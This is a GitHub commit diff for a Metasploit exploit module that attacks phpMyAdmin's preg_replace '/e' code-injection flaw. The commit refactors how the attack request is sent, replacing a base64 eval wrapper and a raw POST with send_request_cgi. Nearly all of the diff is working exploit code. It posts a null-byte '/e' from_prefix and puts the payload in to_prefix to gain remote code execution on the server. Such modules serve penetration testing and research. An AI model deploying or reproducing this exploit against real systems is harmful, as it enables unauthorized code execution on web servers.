Skip to content

Commit a17d618

Browse files
committed
Change to send_rq_cgi
1 parent 54233e9 commit a17d618

File tree

1 file changed

+15
-30
lines changed

1 file changed

+15
-30
lines changed

modules/exploits/multi/http/phpmyadmin_preg_replace.rb

Lines changed: 15 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,7 @@ def initialize(info = {})
3737
'Arch' => ARCH_PHP,
3838
'Payload' =>
3939
{
40+
'BadChars' => "&\n=+%",
4041
'DisableNops' => true,
4142
'Compat' => { 'ConnectionType' => 'find' }
4243
},
@@ -155,37 +156,21 @@ def exploit
155156
end
156157

157158
db = rand_text_alpha(3+rand(3))
158-
pay = Rex::Text.encode_base64(payload.encoded)
159-
evil = []
160-
evil << "query_type=replace_prefix_tbl"
161-
evil << "db=#{db}"
162-
evil << "selected%5B0%5D=#{db}"
163-
evil << "token=#{token}"
164-
evil << "from_prefix=%2Fe%00"
165-
evil << "to_prefix=#{Rex::Text.uri_encode("eval(base64_decode('#{pay}'))", 'hex-random')}"
166-
evil << "mult_btn=Yes"
167-
168-
data = ""
169-
evil.shuffle!
170-
0.upto(evil.count-1) do |i|
171-
if i == 0
172-
data << evil[i]
173-
else
174-
data << '&' << evil[i]
175-
end
176-
end
177-
178-
exploit_result = send_request_raw({
179-
'uri' => uri('db_structure.php'),
180-
'method' => 'POST',
181-
'data' => data,
182-
'cookie' => cookie,
183-
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' }
184-
},2)
185159

186-
if exploit_result
187-
print_error("Response retrieved from server, exploit failed.")
188-
end
160+
exploit_result = send_request_cgi({
161+
'uri' => uri('db_structure.php'),
162+
'method' => 'POST',
163+
'cookie' => cookie,
164+
'vars_post' => {
165+
'query_type' => 'replace_prefix_tbl',
166+
'db' => db,
167+
'selected[0]' => db,
168+
'token' => token,
169+
'from_prefix' => "/e\0",
170+
'to_prefix' => payload.encoded,
171+
'mult_btn' => 'Yes'
172+
}
173+
},1)
189174
end
190175
end
191176

0 commit comments

Comments
 (0)